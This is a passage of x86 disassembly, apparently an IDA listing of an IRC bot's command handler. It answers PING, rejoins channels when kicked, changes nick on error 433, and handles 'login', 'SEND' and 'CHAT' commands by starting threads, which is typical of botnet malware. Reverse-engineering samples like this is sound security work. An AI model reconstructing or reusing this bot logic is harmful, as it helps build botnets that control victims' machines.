-1118h var_1114 = byte ptr -1114h var_1094 = byte ptr -1094h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = byte ptr -0FF0h var_F70 = dword ptr -0F70h var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = byte ptr -0F5Ch var_EDC = dword ptr -0EDCh var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = byte ptr -0EC8h var_E48 = dword ptr -0E48h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = byte ptr -0E38h var_DB8 = byte ptr -0DB8h var_D98 = byte ptr -0D98h var_D88 = dword ptr -0D88h var_D84 = byte ptr -0D84h var_D04 = byte ptr -0D04h var_C84 = dword ptr -0C84h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = byte ptr -0BCCh var_B4C = dword ptr -0B4Ch var_B48 = dword ptr -0B48h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = byte ptr -0B34h var_AB4 = dword ptr -0AB4h var_AB0 = dword ptr -0AB0h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_984 = word ptr -984h var_980 = dword ptr -980h var_978 = dword ptr -978h var_974 = dword ptr -974h var_970 = dword ptr -970h var_968 = byte ptr -968h var_907 = byte ptr -907h var_906 = byte ptr -906h var_904 = byte ptr -904h var_903 = byte ptr -903h var_8FA = byte ptr -8FAh var_8F8 = byte ptr -8F8h var_8F6 = byte ptr -8F6h var_8F5 = byte ptr -8F5h var_868 = byte ptr -868h var_858 = byte ptr -858h var_7D8 = byte ptr -7D8h var_758 = dword ptr -758h var_754 = dword ptr -754h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_698 = dword ptr -698h var_690 = dword ptr -690h var_68C = dword ptr -68Ch var_688 = dword ptr -688h var_680 = dword ptr -680h var_67C = dword ptr -67Ch var_678 = dword ptr -678h var_670 = dword ptr -670h var_644 = dword ptr -644h var_640 = word ptr -640h var_62C = dword ptr -62Ch var_628 = byte ptr -628h var_5A8 = byte ptr -5A8h var_598 = dword ptr -598h var_594 = dword ptr -594h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = dword ptr -584h var_57C = dword ptr -57Ch var_578 = byte ptr -578h var_4F8 = dword ptr -4F8h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D0 = byte ptr -4D0h var_4C4 = byte ptr -4C4h var_48C = byte ptr -48Ch var_47C = byte ptr -47Ch var_3FC = byte ptr -3FCh var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_340 = byte ptr -340h var_324 = word ptr -324h var_322 = word ptr -322h var_320 = dword ptr -320h var_314 = byte ptr -314h var_310 = dword ptr -310h var_304 = byte ptr -304h var_300 = byte ptr -300h var_2FC = dword ptr -2FCh var_2F0 = byte ptr -2F0h var_2EC = byte ptr -2ECh var_2EB = byte ptr -2EBh var_2EA = byte ptr -2EAh var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = byte ptr -2D0h var_D0 = byte ptr -0D0h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_A6 = byte ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov eax, 5D90h lea ebp, [esp-4Ch] call sub_41EA20 push ebx push esi xor ebx, ebx mov esi, 200h push esi lea eax, [ebp+4Ch+var_2D0] push ebx push eax mov [ebp+4Ch+var_20], 3 mov [ebp+4Ch+var_1C], ebx mov [ebp+4Ch+var_14], ebx mov [ebp+4Ch+var_C], ebx mov [ebp+4Ch+var_4], ebx mov [ebp+4Ch+var_8], ebx call sub_41E5F0 push 1Bh push [ebp+4Ch+arg_10] lea eax, [ebp+4Ch+var_340] push eax call sub_41E860 add esp, 18h cmp [ebp+4Ch+arg_0], ebx jnz short loc_4027AA xor eax, eax inc eax jmp loc_402B96 ; --------------------------------------------------------------------------- loc_4027AA: ; CODE XREF: sub_40274D+53j push edi push esi lea eax, [ebp+4Ch+var_4590] push ebx push eax call sub_41E5F0 mov esi, 1FFh push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_4590] push eax call sub_41E860 lea eax, [ebp+4Ch+var_4590] push offset asc_42FCE4 ; " :" push eax call sub_41F090 mov [ebp+4Ch+var_18], eax push esi lea eax, [ebp+4Ch+var_4590] push eax lea eax, [ebp+4Ch+var_4AF8] push eax call sub_41E860 mov esi, offset asc_42FCE0 ; " " lea eax, [ebp+4Ch+var_4AF8] push esi push eax call sub_41E7B2 xor edi, edi add esp, 34h mov [ebp+4Ch+var_A4], eax inc edi loc_402811: ; CODE XREF: sub_40274D+D5j push esi push ebx call sub_41E7B2 mov [ebp+edi*4+4Ch+var_A4], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_402811 mov esi, [ebp+4Ch+var_A4] cmp esi, ebx jz loc_402B92 cmp [ebp+4Ch+var_A0], ebx jz loc_402B92 push 100h lea eax, [ebp+4Ch+var_968] push ebx push eax call sub_41E5F0 add esp, 0Ch push 1Fh pop edx loc_402850: ; CODE XREF: sub_40274D+131j lea ecx, [ebp+edx*4+4Ch+var_A4] mov eax, [ecx] cmp eax, ebx jz short loc_40287D cmp byte ptr [eax], 2Dh jnz short loc_402880 cmp [eax+2], bl jnz short loc_402880 movsx esi, byte ptr [eax+1] mov [ebp+esi+4Ch+var_968], 1 mov [eax], bl mov [eax+1], bl mov [ecx], ebx mov esi, [ebp+4Ch+var_A4] mov [eax+2], bl loc_40287D: ; CODE XREF: sub_40274D+10Bj dec edx jns short loc_402850 loc_402880: ; CODE XREF: sub_40274D+110j ; sub_40274D+115j xor edi, edi inc edi cmp [ebp+4Ch+var_8F5], bl jz short loc_40288E mov [ebp+4Ch+var_C], edi loc_40288E: ; CODE XREF: sub_40274D+13Cj cmp [ebp+4Ch+var_8FA], bl jz short loc_40289C mov [ebp+4Ch+var_C], ebx mov [ebp+4Ch+var_4], edi loc_40289C: ; CODE XREF: sub_40274D+147j cmp byte ptr [esi], 0Ah jz short loc_4028D6 push 7Fh lea eax, [ebp+4Ch+var_E38] push esi push eax call sub_41E860 push 17h lea eax, [esi+1] push eax lea eax, [ebp+4Ch+var_D0] push eax call sub_41E860 lea eax, [ebp+4Ch+var_D0] push offset asc_42FCDC ; "!" push eax call sub_41E7B2 add esp, 20h loc_4028D6: ; CODE XREF: sub_40274D+152j push esi push offset aPing ; "PING" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402922 push [ebp+4Ch+var_A0] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 mov eax, [ebp+4Ch+arg_20] add esp, 0Ch cmp [eax], ebx jnz short loc_40291B push [ebp+4Ch+arg_C] push [ebp+4Ch+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 add esp, 10h loc_40291B: ; CODE XREF: sub_40274D+1B6j ; sub_40274D+224j ... mov eax, edi jmp loc_402B95 ; --------------------------------------------------------------------------- loc_402922: ; CODE XREF: sub_40274D+198j mov esi, [ebp+4Ch+var_A0] push esi push offset a001 ; "001" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A21D push esi push offset a005 ; "005" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A21D push esi push offset a302 ; "302" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402987 push offset a@ ; "@" push [ebp+4Ch+var_98] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz short loc_40291B push 9Fh inc eax push eax push [ebp+4Ch+arg_1C] call sub_41E860 add esp, 0Ch jmp short loc_40291B ; --------------------------------------------------------------------------- loc_402987: ; CODE XREF: sub_40274D+211j push esi push offset a433 ; "433" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4029C5 push ebx push ds:dword_43C098 push ds:dword_43C094 push [ebp+4Ch+arg_10] call sub_40AB83 push [ebp+4Ch+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 add esp, 1Ch jmp loc_40291B ; --------------------------------------------------------------------------- loc_4029C5: ; CODE XREF: sub_40274D+249j mov esi, [ebp+4Ch+arg_18] mov [ebp+4Ch+var_24], 3 mov edi, 80h loc_4029D4: ; CODE XREF: sub_40274D+2A6j lea eax, [ebp+4Ch+var_E38] push eax push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4029EE mov [ebp+4Ch+var_14], 1 loc_4029EE: ; CODE XREF: sub_40274D+298j add esi, edi dec [ebp+4Ch+var_24] jnz short loc_4029D4 mov esi, [ebp+4Ch+var_A0] push esi push offset aKick ; "KICK" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402AC4 mov esi, [ebp+4Ch+arg_18] mov [ebp+4Ch+arg_0], 3 loc_402A17: ; CODE XREF: sub_40274D+343j cmp [esi], bl jz short loc_402A8B push 7Fh lea eax, [ebp+4Ch+var_E38] push esi push eax call sub_41E860 add esp, 0Ch cmp [ebp+4Ch+var_98], ebx jz short loc_402A8B push [ebp+4Ch+var_98] lea eax, [ebp+4Ch+var_D0] push eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402A8B lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42FC70 push eax mov [esi], bl call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax lea eax, [ebp+4Ch+var_D0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 add esp, 20h loc_402A8B: ; CODE XREF: sub_40274D+2CCj ; sub_40274D+2E3j ... add esi, edi dec [ebp+4Ch+arg_0] jnz short loc_402A17 push [ebp+4Ch+var_98] push [ebp+4Ch+arg_10] call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402B92 push [ebp+4Ch+arg_C] mov eax, [ebp+4Ch+arg_20] push [ebp+4Ch+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_402AB7: ; CODE XREF: sub_40274D+58Aj ; sub_40274D+7FCj ... push [ebp+4Ch+arg_4] call sub_4011F5 jmp loc_404D0F ; --------------------------------------------------------------------------- loc_402AC4: ; CODE XREF: sub_40274D+2BAj push esi push offset aNick ; "NICK" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402BFD mov eax, [ebp+4Ch+var_9C] mov esi, [ebp+4Ch+arg_18] inc eax mov [ebp+4Ch+arg_0], eax mov [ebp+4Ch+var_20], 3 loc_402AEA: ; CODE XREF: sub_40274D+3EFj lea eax, [ebp+4Ch+var_E38] push eax push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402B37 lea eax, [ebp+4Ch+var_E38] push 21h push eax call sub_41EFD0 cmp eax, ebx pop ecx pop ecx mov [ebp+4Ch+var_14], eax jz short loc_402B37 push [ebp+4Ch+arg_0] lea edi, [esi+2] lea eax, [edi-1] push eax mov byte ptr [esi], 3Ah call sub_41EEC0 push [ebp+4Ch+var_14] push edi call sub_41EED0 add esp, 10h mov edi, 80h loc_402B37: ; CODE XREF: sub_40274D+3AEj ; sub_40274D+3C5j add esi, edi dec [ebp+4Ch+var_20] jnz short loc_402AEA cmp [ebp+4Ch+arg_0], ebx jz short loc_402B92 push [ebp+4Ch+arg_10] lea eax, [ebp+4Ch+var_D0] push eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402B6A push 0Fh push [ebp+4Ch+arg_0] push [ebp+4Ch+arg_10] call sub_41E860 jmp loc_404199 ; --------------------------------------------------------------------------- loc_402B6A: ; CODE XREF: sub_40274D+409j mov edi, [ebp+4Ch+arg_18] xor esi, esi loc_402B6F: ; CODE XREF: sub_40274D+443j cmp [edi], bl jz short loc_402B86 lea eax, [ebp+4Ch+var_E38] push eax push edi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_402B9D loc_402B86: ; CODE XREF: sub_40274D+424j inc esi add edi, 80h cmp esi, 3 jl short loc_402B6F loc_402B92: ; CODE XREF: sub_40274D+DCj ; sub_40274D+E5j ... xor eax, eax inc eax loc_402B95: ; CODE XREF: sub_40274D+1D0j ; sub_40274D+222Fj ... pop edi loc_402B96: ; CODE XREF: sub_40274D+58j pop esi pop ebx add ebp, 4Ch leave retn ; --------------------------------------------------------------------------- loc_402B9D: ; CODE XREF: sub_40274D+437j lea eax, [ebp+4Ch+var_E38] push 21h push eax call sub_41EFD0 cmp eax, ebx pop ecx pop ecx mov [ebp+4Ch+var_20], eax jz short loc_402B92 push eax call sub_41E1C0 push [ebp+4Ch+arg_0] mov edi, eax call sub_41E1C0 add edi, eax cmp edi, 7Eh pop ecx pop ecx ja short loc_402B92 push [ebp+4Ch+var_20] shl esi, 7 push [ebp+4Ch+arg_0] add esi, [ebp+4Ch+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_41E6A6 push ebx push ebx lea eax, [ebp+4Ch+var_45F4] push eax push [ebp+4Ch+arg_8] push [ebp+4Ch+arg_4] call sub_40123B add esp, 24h jmp short loc_402B92 ; --------------------------------------------------------------------------- loc_402BFD: ; CODE XREF: sub_40274D+386j push esi push offset aPart ; "PART" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_402C1F push esi push offset aQuit ; "QUIT" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402C43 loc_402C1F: ; CODE XREF: sub_40274D+4BFj mov edi, [ebp+4Ch+arg_18] xor esi, esi loc_402C24: ; CODE XREF: sub_40274D+4F4j cmp [edi], bl jz short loc_402C37 push [ebp+4Ch+var_A4] push edi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_402C81 loc_402C37: ; CODE XREF: sub_40274D+4D9j inc esi add edi, 80h cmp esi, 3 jl short loc_402C24 loc_402C43: ; CODE XREF: sub_40274D+4D0j push [ebp+4Ch+var_A0] push offset a353 ; "353" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402CDC push [ebp+4Ch+var_94] push [ebp+4Ch+arg_8] call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402C74 mov eax, [ebp+4Ch+arg_20] mov dword ptr [eax], 1 loc_402C74: ; CODE XREF: sub_40274D+51Cj push [ebp+4Ch+var_94] push offset unk_42FC1C jmp loc_40A211 ; --------------------------------------------------------------------------- loc_402C81: ; CODE XREF: sub_40274D+4E8j mov eax, [ebp+4Ch+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42FBF8 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 push [ebp+4Ch+var_A0] push offset aPart ; "PART" call sub_41E990 add esp, 18h test eax, eax jnz loc_402B92 lea eax, [ebp+4Ch+var_2D0] push eax mov eax, [ebp+4Ch+var_A4] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_402AB7 ; --------------------------------------------------------------------------- loc_402CDC: ; CODE XREF: sub_40274D+507j push [ebp+4Ch+var_A0] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41E990 test eax, eax pop ecx pop ecx mov edi, offset aNotice ; "NOTICE" jz short loc_402D27 push [ebp+4Ch+var_A0] push edi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_402D27 push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_404979 cmp ds:dword_43C084, ebx jz loc_404979 loc_402D27: ; CODE XREF: sub_40274D+5A6j ; sub_40274D+5B5j push [ebp+4Ch+var_A0] push esi call sub_41E990 test eax, eax pop ecx pop ecx jz loc_402E83 push [ebp+4Ch+var_A0] push edi call sub_41E990 test eax, eax pop ecx pop ecx jz loc_402E83 mov eax, [ebp+4Ch+var_98] inc [ebp+4Ch+var_94] mov [ebp+4Ch+var_20], 4 mov [ebp+4Ch+var_9C], eax loc_402D5D: ; CODE XREF: sub_40274D+7D7j ; sub_40274D+810j ... mov esi, [ebp+4Ch+var_20] shl esi, 2 lea edi, [ebp+esi+4Ch+var_A4] mov eax, [edi] push eax push offset dword_42FBEC mov [ebp+4Ch+var_10], eax call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4030EC push [ebp+esi+4Ch+var_A0] push offset aSend_0 ; "SEND" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402FC0 cmp [ebp+4Ch+var_14], ebx jz loc_402F9C push [ebp+esi+4Ch+var_9C] mov edi, offset aS ; "%s" lea eax, [ebp+4Ch+var_1B88] push edi push eax call sub_41E6A6 push [ebp+esi+4Ch+var_98] lea eax, [ebp+4Ch+var_1B9C] push edi push eax call sub_41E6A6 push [ebp+esi+4Ch+var_94] call sub_41E7AD mov [ebp+4Ch+var_1A04], eax mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_1BA4], eax push 7Fh lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_1A84] push eax call sub_41E860 mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_19FC], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_19F8], eax lea eax, [ebp+4Ch+var_1A84] push eax lea eax, [ebp+4Ch+var_1B88] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42FBB4 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 1Ah push eax call sub_40AE85 add esp, 44h mov [ebp+4Ch+var_1A00], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1BA4] push eax push offset word_418CEA push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1A00] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz loc_402F8F loc_402E72: ; CODE XREF: sub_40274D+7473j call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42FB78 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_402E83: ; CODE XREF: sub_40274D+5E7j ; sub_40274D+5FAj push [ebp+4Ch+var_A0] push edi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_402E99 mov [ebp+4Ch+var_4], 1 loc_402E99: ; CODE XREF: sub_40274D+743j cmp [ebp+4Ch+var_9C], ebx jz loc_402B92 push offset dword_42FB74 push [ebp+4Ch+var_9C] call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_402EBA cmp [ebp+4Ch+var_4], ebx jz short loc_402EC3 loc_402EBA: ; CODE XREF: sub_40274D+766j lea eax, [ebp+4Ch+var_D0] mov [ebp+4Ch+var_9C], eax loc_402EC3: ; CODE XREF: sub_40274D+76Bj cmp [ebp+4Ch+var_98], ebx jz loc_402B92 inc [ebp+4Ch+var_98] jz short loc_402F01 cmp [ebp+4Ch+arg_10], ebx jz short loc_402F01 lea eax, [ebp+4Ch+var_340] push eax call sub_41E1C0 push eax push [ebp+4Ch+var_98] lea eax, [ebp+4Ch+var_340] push eax call sub_41EE80 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+4Ch+var_20], eax jmp short loc_402F04 ; --------------------------------------------------------------------------- loc_402F01: ; CODE XREF: sub_40274D+782j ; sub_40274D+787j mov eax, [ebp+4Ch+var_20] loc_402F04: ; CODE XREF: sub_40274D+7B2j mov esi, eax shl esi, 2 mov edi, [ebp+esi+4Ch+var_A4] cmp edi, ebx jz loc_402B92 push edi push offset dword_42FB68 call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402D5D mov ecx, [ebp+4Ch+var_9C] cmp byte ptr [ecx], 23h jz short loc_402F4E mov eax, ds:dword_4D1FE0 mov eax, ds:off_43C168[eax*4] cmp [eax], bl jz short loc_402F4E push eax push ecx push offset dword_42FB4C jmp loc_402AB7 ; --------------------------------------------------------------------------- loc_402F4E: ; CODE XREF: sub_40274D+7E3j ; sub_40274D+7F3j push edi push offset dword_42FB44 call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_402D5D mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz loc_402D5D mov eax, [ebp+4Ch+var_9C] cmp byte ptr [eax], 23h jz loc_402D5D push esi push eax push offset dword_42FB2C jmp loc_402AB7 ; --------------------------------------------------------------------------- loc_402F87: ; CODE XREF: sub_40274D+848j push 32h call ds:dword_42B014 ; Sleep loc_402F8F: ; CODE XREF: sub_40274D+71Fj cmp [ebp+4Ch+var_19F4], ebx jz short loc_402F87 jmp loc_408D10 ; --------------------------------------------------------------------------- loc_402F9C: ; CODE XREF: sub_40274D+64Fj lea eax, [ebp+4Ch+var_D0] push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset unk_42FAE8 push eax call sub_41E6A6 add esp, 10h jmp loc_408D10 ; --------------------------------------------------------------------------- loc_402FC0: ; CODE XREF: sub_40274D+646j push [ebp+esi+4Ch+var_A0] push offset aChat ; "CHAT" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_403102 cmp [ebp+4Ch+var_14], ebx jz loc_4030DB push 1Bh call sub_40B075 test eax, eax pop ecx jnz loc_4030CA push [ebp+esi+4Ch+var_98] lea eax, [ebp+4Ch+var_2AB0] push offset aS ; "%s" push eax call sub_41E6A6 push [ebp+esi+4Ch+var_94] call sub_41E7AD mov [ebp+4Ch+var_2918], eax mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_2AB8], eax push 7Fh lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_2998] push eax call sub_41E860 mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_2910], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_290C], eax lea eax, [ebp+4Ch+var_D0] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42FAC0 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 1Bh push eax call sub_40AE85 add esp, 34h mov [ebp+4Ch+var_2914], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_2AB8] push eax push offset byte_418799 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_2914] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4030BD call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42FA88 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_4030B5: ; CODE XREF: sub_40274D+976j push 32h call ds:dword_42B014 ; Sleep loc_4030BD: ; CODE XREF: sub_40274D+955j cmp [ebp+4Ch+var_2908], ebx jz short loc_4030B5 jmp loc_408D10 ; --------------------------------------------------------------------------- loc_4030CA: ; CODE XREF: sub_40274D+89Ej lea eax, [ebp+4Ch+var_D0] push eax push offset unk_42FA58 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_4030DB: ; CODE XREF: sub_40274D+88Ej lea eax, [ebp+4Ch+var_D0] push eax push offset unk_42FA24 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_4030EC: ; CODE XREF: sub_40274D+62Ej mov eax, [ebp+4Ch+var_10] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_43C08C mov [edi], ecx jnz loc_402B92 loc_403102: ; CODE XREF: sub_40274D+885j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+4Ch+var_10], edi call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A0B6 push edi push offset asc_42FA20 ; "l" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A0B6 cmp [ebp+4Ch+var_14], ebx jnz short loc_40314D push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_404979 loc_40314D: ; CODE XREF: sub_40274D+9E7j cmp [ebp+4Ch+arg_28], ebx jnz loc_404979 xor edi, edi cmp ds:dword_43C4A0, ebx jle loc_4032D6 mov [ebp+4Ch+var_14], offset dword_4D1450 loc_40316B: ; CODE XREF: sub_40274D+A3Dj push [ebp+4Ch+var_10] push [ebp+4Ch+var_14] call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_403191 add [ebp+4Ch+var_14], 0B8h inc edi cmp edi, ds:dword_43C4A0 jl short loc_40316B jmp loc_4032D6 ; --------------------------------------------------------------------------- loc_403191: ; CODE XREF: sub_40274D+A2Dj push offset asc_42FCE4 ; " :" push [ebp+4Ch+arg_0] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz loc_402B92 mov cl, ds:byte_43C08C imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_43C08C mov [eax+3], cl push 9Fh lea ecx, dword_4D1468[edi] push ecx add eax, 4 push eax call sub_41E860 lea eax, dword_4D1450[edi] add esp, 0Ch mov [ebp+4Ch+var_14], 0Fh mov [ebp+4Ch+var_24], eax lea edi, [ebp+esi+4Ch+var_64] loc_4031EC: ; CODE XREF: sub_40274D+B2Aj push [ebp+4Ch+var_14] lea eax, [ebp+4Ch+var_B4] push offset aD ; "$%d-" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] call sub_41F090 add esp, 14h test eax, eax jz short loc_403245 cmp [edi], ebx jz short loc_403249 push [ebp+4Ch+var_24] call sub_41E1C0 add [ebp+4Ch+var_18], eax pop ecx jz short loc_40326E push dword ptr [edi-4] push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz short loc_40326E push eax lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] call sub_41AB7D add esp, 0Ch jmp short loc_40326E ; --------------------------------------------------------------------------- loc_403245: ; CODE XREF: sub_40274D+AC1j cmp [edi], ebx jnz short loc_40326E loc_403249: ; CODE XREF: sub_40274D+AC5j push 2 lea eax, [ebp+4Ch+var_B4] push eax lea eax, [ebp+4Ch+var_A8] push eax call sub_41E860 lea eax, [ebp+4Ch+var_A8] push eax lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_A6], bl call sub_41AB7D add esp, 18h loc_40326E: ; CODE XREF: sub_40274D+AD3j ; sub_40274D+AE4j ... dec [ebp+4Ch+var_14] sub edi, 4 cmp [ebp+4Ch+var_14], ebx jg loc_4031EC lea eax, [ebp+esi+4Ch+var_64] mov [ebp+4Ch+var_14], 10h mov edi, eax loc_40328A: ; CODE XREF: sub_40274D+B80j push [ebp+4Ch+var_14] lea eax, [ebp+4Ch+var_B4] push offset aD_1 ; "$%d" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] call sub_41F090 add esp, 14h test eax, eax jz short loc_4032C4 mov eax, [edi] cmp eax, ebx jz short loc_4032C4 push eax lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] call sub_41AB7D add esp, 0Ch loc_4032C4: ; CODE XREF: sub_40274D+B5Fj ; sub_40274D+B65j dec [ebp+4Ch+var_14] sub edi, 4 cmp [ebp+4Ch+var_14], 